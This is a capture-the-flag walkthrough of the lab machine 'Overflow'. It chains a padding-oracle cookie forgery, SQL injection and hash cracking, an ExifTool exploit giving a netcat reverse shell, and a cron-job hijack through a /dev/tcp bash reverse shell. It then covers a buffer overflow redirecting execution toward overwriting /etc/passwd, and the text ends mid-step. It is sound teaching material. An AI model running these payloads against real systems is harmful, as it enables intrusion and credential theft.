# Overflow

IP: 10.10.11.119

# Nmap - Port Scan

# All ports

$ sudo nmap -p- --min-rate=1000 -T4 10.10.11.119

PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http

# Service & Safe Scripts

$ sudo nmap -sC -sV -p22,25,80 10.10.11.119 -o nmap.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-21 18:04 AWST
Nmap scan report for 10.10.11.119
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 eb:7c:15:8f:f2:cc:d4:26:54:c1:e1:57:0d:d5:b6:7c (RSA)
|   256 d9:5d:22:85:03:de:ad:a0:df:b0:c3:00:aa:87:e8:9c (ECDSA)
|_  256 fa:ec:32:f9:47:17:60:7e:e0:ba:b6:d1:77:fb:07:7b (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: overflow, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Overflow Sec
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host:  overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel

# Port 80 - HTTP

Before we start digging into the machine I added the IP address to my /etc/hosts:

10.10.11.119    overflow.htb

Going to http://overflow.htb/ we see a website with only "Sign In" and "Sign Up" functionalities:

I first tried some default credentials but nothing works, so I registered a new user caue:password. The application automatically log me in as I sign up. Notice the redirect to /home/index.php, and other options are now available:

  • Profile: Static profile page
  • Blog: Static blog page
  • Pricing: Redirects to home page
  • Log out: Log out and redirect to home page

Nothing much we can do. I decided to run gobuster and also look at the cookies.

# Gobuster

Gobuster the root directory:

$ gobuster dir -u http://overflow.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,txt

===============================================================
/login.php            (Status: 200) [Size: 1878]
/index.php            (Status: 200) [Size: 12227]
/register.php         (Status: 200) [Size: 2060] 
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/config               (Status: 301) [Size: 313] [--> http://overflow.htb/config/]
/home                 (Status: 301) [Size: 311] [--> http://overflow.htb/home/]  
/assets               (Status: 301) [Size: 313] [--> http://overflow.htb/assets/]

Gobuster the /home directory:

$ gobuster dir -u http://overflow.htb/home -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -x php,txt

===============================================================
/index.php            (Status: 302) [Size: 12503] [--> ../login.php]
/profile              (Status: 301) [Size: 319] [--> http://overflow.htb/home/profile/]
/logs.php             (Status: 200) [Size: 14]                                         
/blog.php             (Status: 200) [Size: 2971]                                       
/.                    (Status: 302) [Size: 12503] [--> ../login.php]

Accessing /home/logs.php we get "Unauthorized!!" message:

Probably we need to be a user with high privileges.

# Cookies

Lets take a look at the cookies:

Tried to decode the cookies but didn't get any information back, it looks like there is some cipher behind it. However, modifying the cookie adding or removing characters, we get redirected and an error message:

This could be indicative of CBC encryption, which can be reversed using a Padding Oracle Attack. We’ll use padbuster to attempt the padding oracle attack.

  • sudo apt install padbuster

Padbuster is a tool able to decrypt ciphertext, encrypt paintext, and perform analysis. In another words, it can decrypt the cookie and also generate a new cookie with the text provided. So first we need to know what is that cookie so we can generate an admin cookie.

The original cookie from my screenshot seemed to have expired. I think there is some kind of database cleanup schedule running. So I registered a new account and extracted the cookie. Now we put this into our padbuster command:

$ padbuster http://overflow.htb/login.php "8NDZLZGXTnJiGPmz0uA2%2FOzd49I5waGo" 8 -cookie "auth=8NDZLZGXTnJiGPmz0uA2%2FOzd49I5waGo" -encoding 0

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 302
[+] Location: home/index.php
[+] Content Length: 1878

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     1878    N/A
2 **    255     302     0       ../logout.php?err=1
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (250/256) [Byte 8]
[+] Success: (211/256) [Byte 7]
[+] Success: (9/256) [Byte 6]
[+] Success: (88/256) [Byte 5]
[+] Success: (166/256) [Byte 4]
[+] Success: (70/256) [Byte 3]
[+] Success: (92/256) [Byte 2]
[+] Success: (115/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): 6218f9b3d2e036fc
[+] Intermediate Bytes (HEX): 85a3bc5facf42f07
[+] Plain Text: user=cau

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (6/256) [Byte 8]
[+] Success: (205/256) [Byte 7]
[+] Success: (28/256) [Byte 6]
[+] Success: (47/256) [Byte 5]
[+] Success: (79/256) [Byte 4]
[+] Success: (8/256) [Byte 3]
[+] Success: (232/256) [Byte 2]
[+] Success: (241/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): ecdde3d239c1a1a8
[+] Intermediate Bytes (HEX): 071ffeb4d5e731fb
[+] Plain Text: e

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=caue

[+] Decrypted value (HEX): 757365723D6361756507070707070707

[+] Decrypted value (Base64): dXNlcj1jYXVlBwcHBwcHBw==

-------------------------------------------------------

We have successfully decrypted the cookie! The cipher value is user=caue, which was the username registered. Now that we know the cipher value syntax, we’ll use padbuster to generate a new cipher for admin:

$ padbuster http://overflow.htb/login.php "8NDZLZGXTnJiGPmz0uA2%2FOzd49I5waGo" 8 -cookie "auth=8NDZLZGXTnJiGPmz0uA2%2FOzd49I5waGo" -encoding 0 -plaintext "user=admin"

...[snip]...

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------

Great! We have the admin cookie! We can open the browser developer tools and change the current cookie to this one. As soon as we refresh the page we get an "Admin Panel" menu option:

Clicking in the "Admin Panel" takes us to http://overflow.htb/admin_cms_panel/admin/login.php. It is a CMS Made Simple portal. There are a lot of exploits for this application but they most require authentication and we don't have credentials yet.

# Logs

Decided to go back to /home and take a look at the "Logs". Since we were not authorized before, lets see what happend with admin cookie:

Clicking in the "Logs" menu bar opens a popup dialog displaying the last login times of the user. If we look in the browser developer tools, we can see an interesting JavaScript being loaded ../config/admin_last_login.js. Lets take a look at it.

Basically, it is fetching data from http://overflow.htb/home/logs.php?name=admin. Going to that URL we can confirm that: ![[image9.png]]

Every time a web application have a parameter that the user can control, we should test for weak sanitization. I will make this request again, intercept with Burp, save it to a file and use sqlmap to check for injections.

# SQLmap

Request saved from Burp (important to keep the cookie for authentication!):

GET /home/logs.php?name=admin HTTP/1.1
Host: overflow.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: auth=BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA; CMSSESSIDf25decdf38ae=8tv8s7kevmh1c5nb5ji39e7ae4
Upgrade-Insecure-Requests: 1

Testing for SQL injections:

$ sqlmap -r logs.req --batch
                                                     
       __H__                                                                                                                                           
 ___ ___[)]_____ ___ ___  {1.6.3#stable}                                                                                                               
|_ -| . [)]     | .'| . |                                                                                                                              
|___|_  [,]_|_|_|__,|  _|                                                                                                                              
      |_|V...       |_|   https://sqlmap.org                                                                                                           
                                                                                                                                                       
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap
plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program         
                                                                                                                                                       
[*] starting @ 09:43:11 /2022-03-22/

...[snip]...

sqlmap identified the following injection point(s) with a total of 63 HTTP(s) requests:
---
Parameter: name (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=admin') AND 5589=5589 AND ('DNaJ'='DNaJ

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=admin') AND (SELECT 8574 FROM (SELECT(SLEEP(5)))xsgZ) AND ('KDae'='KDae

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: name=admin') UNION ALL SELECT NULL,NULL,CONCAT(0x7171786a71,0x4b6b4e524f4c51667345537049627879587273746d566d4474634f6b77594c746e4e496e4c4b5657,0x7162627871)-- -
---
[09:43:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12

Yes! It is vulnerable to SQL injection. We see that the database is MySQL so we can add -dbms=mysql to our next queries. Lets enumerate this databases.

Databases:

sqlmap -r logs.req --batch -dbms=mysql --dbs

[09:48:37] [INFO] fetching database names
available databases [4]:
[*] cmsmsdb
[*] information_schema
[*] logs
[*] Overflow

DB->Overflow:

sqlmap -r logs.req --batch -dbms=mysql -D Overflow --tables --dump

Database: Overflow
Table: users
[1 entry]
+----------------------------------+----------+
| password                         | username |
+----------------------------------+----------+
| c71d60439ed5590b3c5e99d95ed48165 | admin    |
+----------------------------------+----------+

I could not crack this password! Lets move on.

DB->cmsmsdb:

sqlmap -r logs.req --batch -dbms=mysql -D cmsmsdb --tables

Database: cmsmsdb                                                                                                                              [10/581]
[47 tables]                                                                                                                                            
+-----------------------------+                                                                                                                        
| cms_additional_users        |                                                                                                                        
| cms_additional_users_seq    |                                                                                                                        
| cms_admin_bookmarks         |                                                                                                                        
| cms_admin_bookmarks_seq     |                                                                                                                        
| cms_adminlog                |                                                                                                                        
| cms_content                 |                                                                                                                        
| cms_content_props           |                                                                                                                        
| cms_content_props_seq       |                                                                                                                        
| cms_content_seq             |
| cms_event_handler_seq       |
| cms_event_handlers          |
| cms_events                  |
| cms_events_seq              |
| cms_group_perms             |
| cms_group_perms_seq         |
| cms_groups                  |
| cms_groups_seq              |
| cms_layout_design_cssassoc  |
| cms_layout_design_tplassoc  |
| cms_layout_designs          |
| cms_layout_stylesheets      |
| cms_layout_templates        |
| cms_layout_tpl_addusers     |
| cms_layout_tpl_categories   |
| cms_layout_tpl_type         |
| cms_locks                   |
| cms_mod_cmsjobmgr           |
| cms_mod_filepicker_profiles |
| cms_module_deps             |
| cms_module_search_index     |
| cms_module_search_items     |
| cms_module_search_items_seq |
| cms_module_search_words     |
| cms_module_smarty_plugins   |
| cms_module_templates        |
| cms_modules                 |
| cms_permissions             |
| cms_permissions_seq         |
| cms_routes                  |
| cms_siteprefs               |
| cms_user_groups             |
| cms_userplugins             |
| cms_userplugins_seq         |
| cms_userprefs               |
| cms_users                   |
| cms_users_seq               |
| cms_version                 |
+-----------------------------+

DB->cmsmsdb Table->cms_users:

sqlmap -r logs.req --batch -dbms=mysql -D cmsmsdb -T cms_users -C username,password,email --dump

Database: cmsmsdb
Table: cms_users
[2 entries]
+----------+----------------------------------+--------------------+
| username | password                         | email              |
+----------+----------------------------------+--------------------+
| admin    | c6c6b9310e0e6f3eb3ffeb2baff12fdd | admin@overflow.htb |
| editor   | e3d748d58b58657bfa4dffe2def0b1c7 | <blank>            |
+----------+----------------------------------+--------------------+

Ok, this looks promising... Doing a little bit of research, this hashes are encrypted with salt and it can be found in the cms_siteprefs table under the sitemask column:

sqlmap -r logs.req --batch -dbms=mysql -D cmsmsdb -T cms_siteprefs

...[snip]...

| sitemask | 6c2d17f37e226486

...[snip]...

# Cracking users hashes

In order to use hashcat we need to add the hashes into a file following th hash:salt format:

c6c6b9310e0e6f3eb3ffeb2baff12fdd:6c2d17f37e226486
e3d748d58b58657bfa4dffe2def0b1c7:6c2d17f37e226486

Lets run hashcat against the hashes:

hashcat -m 20 hashes.txt /usr/share/wordlists/rockyou.txt

e3d748d58b58657bfa4dffe2def0b1c7:6c2d17f37e226486:alpha!@#$%bravo

Hashcat only cracked the editor password alpha!@#$%bravo.

# CMS Made Simple

Back to the CMS page http://overflow.htb/admin_cms_panel/admin/login.php we can use this credentials to login! We can see at the bottom of the page the version CMS Made Simple 2.2.8 Flin Flon. I kept browsing and enumerating the pages and saw an hint to another page:

Adding the new hostname to our hosts file we can access it. There is a login page and using the same credentials from editor we successfully login to the web app.

# Devbuild

Poking around on the website, we find an upload function when we click on our account. I tried uploading a php webshell, but it failed due to unsupported filetype.

Another interesting thing was the server response when we upload a file:

HTTP/1.1 302 Moved Temporarily
Date: Tue, 22 Mar 2022 02:40:21 GMT
Server: Apache/2.4.29 (Ubuntu)
Location: ./index.php?upload=0
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 2391

ExifTool Version Number         : 11.92
File Name                       : 62393716a29472.00671524.jpg
Directory                       : ../../assets/data/upliid
File Size                       : 114 kB
File Modification Date/Time     : 2022:03:22 08:10:22+05:30
File Access Date/Time           : 2022:03:22 08:10:21+05:30
File Inode Change Date/Time     : 2022:03:22 08:10:22+05:30
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg

...[snip]...

It is using exiftool! Doing a little more research on exiftool - specially version 11.92, I found a CVE-2021–22204. Metasploit has a module for the exploit, which makes this super convenient.

msf6 > use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > set LHOST 10.10.14.3
msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > options

Module options (exploit/unix/fileformat/exiftool_djvu_ant_perl_injection):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.jpg          yes       Output file


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.3       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**


Exploit target:

   Id  Name
   --  ----
   0   JPEG file

msf6 exploit(unix/fileformat/exiftool_djvu_ant_perl_injection) > run

[+] msf.jpg stored at /root/.msf4/local/msf.jpg

Lets start a netcat listener on port 4444 and upload the generated jpeg file.

nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.119] 38406

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@overflow:~/devbuild-job/home/profile$

# Shell as www-data

Looking through the web folders we find some credentials. ~/devbuild-job/config/db.php

www-data@overflow:~/devbuild-job/config$ cat db.php 
<?php
$lnk = mysqli_connect("localhost","dev_manager", "3RyxKah_hBf*V6ja","develop");
?>

And

~/html/config/db.php

www-data@overflow:~/html/config$ cat db.php 
<?php 

#define('DB_Server', 'localhost');
#define('DB_Username', 'root');
#define('DB_Password','root');
#define('DB_Name', 'Overflow');

$lnk = mysqli_connect("localhost","developer", "sh@tim@n","Overflow");
$db = mysqli_select_db($lnk,"Overflow");

if($db == false){
    dir('Cannot Connect to Database');
}

?>

We need to escalate to a user, preferable with shell. Lets look at the /etc/passwd:

www-data@overflow:~/devbuild-job/config$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
tester:x:1000:1000:tester,,,:/home/tester:/bin/bash
developer:x:1001:1001::/home/developer:/bin/sh

We have a user called developer, and we also have a database password for developer. Lets use SSH with these credentials.

# SSH as Developer

$ ssh developer@overflow.htb
developer@overflow.htbs password: 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-159-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Mar 22 08:28:11 IST 2022

  System load:  0.0               Processes:           169
  Usage of /:   45.2% of 5.84GB   Users logged in:     0
  Memory usage: 12%               IP address for eth0: 10.10.11.119
  Swap usage:   0%


0 updates can be applied immediately.


-sh: 28: set: Illegal option -o history
-sh: 1: set: Illegal option -o history

$ pwd
/home/developer
$ ls -la
total 28
drwxr-xr-x 5 developer root      4096 Sep 28 04:42 .
drwxr-xr-x 4 root      root      4096 May 26  2021 ..
lrwxrwxrwx 1 root      root         9 Sep 27 22:49 .bash_history -> /dev/null
-rw-r--r-- 1 developer root      3106 May 28  2021 .bashrc
drwx------ 2 developer developer 4096 May 26  2021 .cache
drwx------ 4 developer developer 4096 May 28  2021 .gnupg
-rw-r--r-- 1 root      root        15 May 30  2021 .profile
drwx------ 2 developer developer 4096 Sep 28 04:44 .ssh

We still don't have user.txt flag! It is in the /home/tester directory. So we need to find a way to escalate to tester user.

Enumerating the machine, we see some interesting files owned by tester in /opt:

developer@overflow:/opt$ ls -la
total 16
drwxr-xr-x   3 root   root   4096 Sep 17  2021 .
drwxr-xr-x  25 root   root   4096 Jan 26 21:08 ..
-rwxr-x---+  1 tester tester  109 May 28  2021 commontask.sh
drwxr-x---+  2 root   root   4096 Sep 17  2021 file_encrypt

developer@overflow:/opt$ cat commontask.sh 
#!/bin/bash

#make sure its running every minute.

bash < <(curl -s http://taskmanage.overflow.htb/task.sh)

The problem is, the taskmanage subdomain does not exist. We can hijack the request doing the following:

  • Create task.sh on ur attacking machine that when ran it creates a reverse connection to us
  • Spin a python web server on port 80
  • Set our attacking IP to resolve taskmanage.overflow.htb on overflow's host file
  • Start netcat listener and wait a minute for tester to connect 😀

First I created the task.sh in my machine with a bash reverse shell and started a Python web server on port 80:

$ cat task.sh                                                                               
bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Also in another terminal started a netcat listener on port 4444.

In Overflow machine we can add the host entry taskmanage.overflow.htb pointing to our machine:

echo "10.10.14.3 taskmanage.overflow.htb" >> /etc/hosts

After a minute or two we get a hit in our Python web server and a connection back to our netcat listener!

# Shell as tester

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.119] 38718
bash: cannot set terminal process group (6059): Inappropriate ioctl for device
bash: no job control in this shell
tester@overflow:~$

Lets upgrade the tty generating SSH keys:

tester@overflow:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/tester/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/tester/.ssh/id_rsa.
Your public key has been saved in /home/tester/.ssh/id_rsa.pub.

tester@overflow:~/.ssh$ cp id_rsa.pub authorized_keys
tester@overflow:~/.ssh$ chmod 600 ./authorized_keys
tester@overflow:~/.ssh$ cat id_rsa

Create a file with the id_rsa contents in attacker machine and use it to SSH in:

$ nano tester.idrsa
$ chmod 600 tester.idrsa
$ ssh -i tester.idrsa tester@overflow.htb

# File encrypt

Going back to the /opt directory we can access the file_encrypt folder, owned by root but with ACLS to the tester user, and read the README.md:

tester@overflow:/opt/file_encrypt$ cat README.md 
Our couple of reports have been leaked to avoid this. We have created a tool to encrypt your reports. Please check the pin feature of this application and report any issue that you get as this application is still in development. We have modified the tool a little bit that you can only use the pin feature now. The encrypt function is there but you can't use it now.The PIN should be in your inbox

tester@overflow:/opt/file_encrypt$ ./file_encrypt 
This is the code 1804289383. Enter the Pin: 12345
Wrong Pin

Given the name of the machine, I thought this would be a buffer overflow. So I tried passing varying lengths and characters to the PIN field but just said "Wrong Pin". So, let’s bring the file back to our machine so we can reverse it.

scp -i tester.idrsa tester@overflow.htb:/opt/file_encrypt/file_encrypt ./file_encrypt
file_encrypt                                            100%   12KB  37.4KB/s   00:00

First I check the file security flags:

$ checksec file_encrypt 
[*] '/home/caue/htb/overflow/reverse/file_encrypt'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Lets open in Ghidra and have a look at the functions! Starting with the check_pin function, maybe we can reverse the code to determine a valid PIN.

The code looks fairly straightfoward. The PIN we enter is stored in the local_18 variable and then compared to local_14. If they match, we have the correct PIN. local_14 is generated through the random() function. Let’s look at it:

random()
long random(void)

{
  uint in_stack_00000004;
  uint local_c;
  int local_8;
  
  local_c = 0x6b8b4567;
  for (local_8 = 0; local_8 < 10; local_8 = local_8 + 1) {
    local_c = local_c * 0x59 + 0x14;
  }
  return local_c ^ in_stack_00000004;
}

This is the function that creates the PIN. In theory, we should be able to replicate this code elsewhere and generate a working PIN. We’ll do this in python and run it on the server. There are a few gotcha’s in this function. First, was not able to decompile the first variable correctly, leaving us with in_stack_00000004. We need to identify this value since we will be xor’ing it with the local_c value below.

To get this value, we use gdb to set a breakpoint at the function return, and then we examine the value in memory at that location:

$ gdb file_encrypt

(gdb) disas random
Dump of assembler code for function random:
   0x0000081d <+0>:     push   %ebp
   0x0000081e <+1>:     mov    %esp,%ebp
   0x00000820 <+3>:     sub    $0x10,%esp
   0x00000823 <+6>:     call   0xb90 <__x86.get_pc_thunk.ax>
   0x00000828 <+11>:    add    $0x2778,%eax
   0x0000082d <+16>:    movl   $0x6b8b4567,-0x8(%ebp)
   0x00000834 <+23>:    movl   $0x0,-0x4(%ebp)
   0x0000083b <+30>:    jmp    0x84d <random+48>
   0x0000083d <+32>:    mov    -0x8(%ebp),%eax
   0x00000840 <+35>:    imul   $0x59,%eax,%eax
   0x00000843 <+38>:    add    $0x14,%eax
   0x00000846 <+41>:    mov    %eax,-0x8(%ebp)
   0x00000849 <+44>:    addl   $0x1,-0x4(%ebp)
   0x0000084d <+48>:    cmpl   $0x9,-0x4(%ebp)
   0x00000851 <+52>:    jle    0x83d <random+32>
   0x00000853 <+54>:    mov    -0x8(%ebp),%eax
   0x00000856 <+57>:    xor    0x8(%ebp),%eax
   0x00000859 <+60>:    leave  
   0x0000085a <+61>:    ret    
End of assembler dump.

Here we disassemble the random() function. Next we set a breakpoint at offset 57, where we xor our values. The end result of the xor operation is returned by the function.

(gdb) b * random+57
Breakpoint 1 at 0x856

Now we run the program until the breakpoint is reached. Once there, we can examine the value at the memory location, which would be 0x8(%ebp) or, written differently, ebp+8.

(gdb) r
Starting program: /home/caue/htb/overflow/reverse/file_encrypt 

Breakpoint 1, 0x56555856 in random ()
(gdb) x /10x $ebp +8
0xffffcf40:     0x6b8b4567      0x56557fa0      0x00000001      0x56555ac7
0xffffcf50:     0x00000001      0xf7fdc480      0x00000000      0xf7df18ce
0xffffcf60:     0xf7fa53fc      0x56557fa0

The value at that address is the same value passed to local_c. So essentially in our code, we’ll need to xor the final local_c value against the original local_c value.

The other issue is that the return value from the random function is a type long integer. Because our input value in check_pin is a signed int type, we need to cast the return value from random as a signed int, otherwise the values will never match. Python3 does not differentiate between long and int values natively, so to do the conversion we need to include the ctypes import in our code.

generate_pin.py
#!/usr/bin/python3

import ctypes

local_c_initial = 0x6b8b4567
local_c = 0x6b8b4567
local_8 = 0

while (local_8 <10):
        local_c = local_c * 0x59 + 0x14
        local_8 = local_8 + 1

PIN = ctypes.c_int(local_c ^ local_c_initial).value
print("The PIN code is: ", PIN)

Running the python script generates a PIN code:

$ python3 generate_pin.py
The PIN code is:  -202976456

And the PIN is valid! We’re presented with a name prompt and the program exited with a thank you message.

tester@overflow:/opt/file_encrypt$ ./file_encrypt 
This is the code 1804289383. Enter the Pin: -202976456
name: testing nameeeeee
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb

Back to Ghidra we look at the check_pin function again and spot where the name: is being used and stored. It is stored in local_2c variable which is programmed to allocate 20 bytes only, here is our buffer overflow!

We can confirm running the binary in gdb and passing a large amount of characters when it asks for a "name":

$ gdb file_encrypt

(gdb) r
Starting program: /home/caue/htb/overflow/reverse/file_encrypt 
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

The next step is to find the offset for the EIP register. If we’re able to control the values placed in the register, we can take control of the programs operational flow and redirect it to our advantage.

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

Using pattern_create, we generated a string of 300 characters. We’ll input it using gdb and then extract the EIP value.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/caue/htb/overflow/reverse/file_encrypt 
This is the code 1804289383. Enter the Pin: -202976456
name: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb

Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()

EIP was overwritten with 0x35624134. Using msf_pattern_offset we can identify the overflow offset at 44.

$ /usr/bin/msf-pattern_offset -l 300 -q 0x35624134
[*] Exact match at offset 44

Now that we know the offset, we’re going to attempt to route the program execution to the encrypt function. To get the address of the function, we run the program in gdb, issue a ctrl-c and dissassemble the function.

(gdb) r                                                                                                                                                
The program being debugged has been started already.                                                                                                   
Start it from the beginning? (y or n) y                                                                                                                
Starting program: /home/caue/htb/overflow/reverse/file_encrypt                                                                                         
This is the code 1804289383. Enter the Pin: -202976456                                                                                                 
name: ^C                                                                                                                                               
Program received signal SIGINT, Interrupt.                                                                                                             
0xf7fc9559 in __kernel_vsyscall ()                                                                                                                     
(gdb) disas encrypt                                                                                                                                    
Dump of assembler code for function encrypt:                                                                                                           
   0x5655585b <+0>:     push   %ebp                                                                                                                    
   0x5655585c <+1>:     mov    %esp,%ebp                                                                                                               
   0x5655585e <+3>:     push   %ebx                                                                                                                    
   0x5655585f <+4>:     sub    $0x94,%esp                                                                                                              
   0x56555865 <+10>:    call   0x56555720 <__x86.get_pc_thunk.bx>                                                                                      
   0x5655586a <+15>:    add    $0x2736,%ebx                                                                                                            
   0x56555870 <+21>:    movl   $0x0,-0x80(%ebp)                                                                                                        
   0x56555877 <+28>:    movl   $0x0,-0x7c(%ebp)                                                                                                        
   0x5655587e <+35>:    movl   $0x0,-0x78(%ebp)                                                                                                        
   0x56555885 <+42>:    movl   $0x0,-0x74(%ebp)                                                                                                        
   0x5655588c <+49>:    movl   $0x0,-0x70(%ebp)
   0x56555893 <+56>:    movl   $0x0,-0x94(%ebp)

The function starts at 0x5655585b. Now we can add that to our buffer overflow to overwrite EIP and force us to the encrypt function.

$ python -c "print('\x41' * 44 + '\x5b\x58\x55\x56')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/caue/htb/overflow/reverse/file_encrypt 
This is the code 1804289383. Enter the Pin: -202976456
name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[XUV
Thanks for checking. You can give your feedback for improvements at developer@overflow.htb
Enter Input File:

Yes! It is working, and now is asking for the "Input File". Going back into Ghidra, we take a closer look at the encrypt function. The program’s purpose is to take a file and encrypt it in a new location. It does this by reading the file and XOR'ing it with 0x9b.

Our plan is to create a copy of /etc/passwd and add a new root user. We’ll then use the program to encrypt and overwrite the system /etc/passwd with our modified copy.

We will manually encrypt our modified passwd file first prior to passing it through the program. An encrypted value XOR’ed by the same key (0x9b) should give us the original cleartext /etc/passwd. In other words, the encryption program will actually decrypt our passwd file when it overwrites /etc/passwd.

Create the new hash for user caue with password pass123:

$ openssl passwd -1 -salt caue pass123
$1$caue$UbuBXypuA7ZQh9kxbERnQ/

Make a copy of /etc/passwd and add our user with root privileges:

tester@overflow:~$ cp /etc/passwd /tmp/passwd
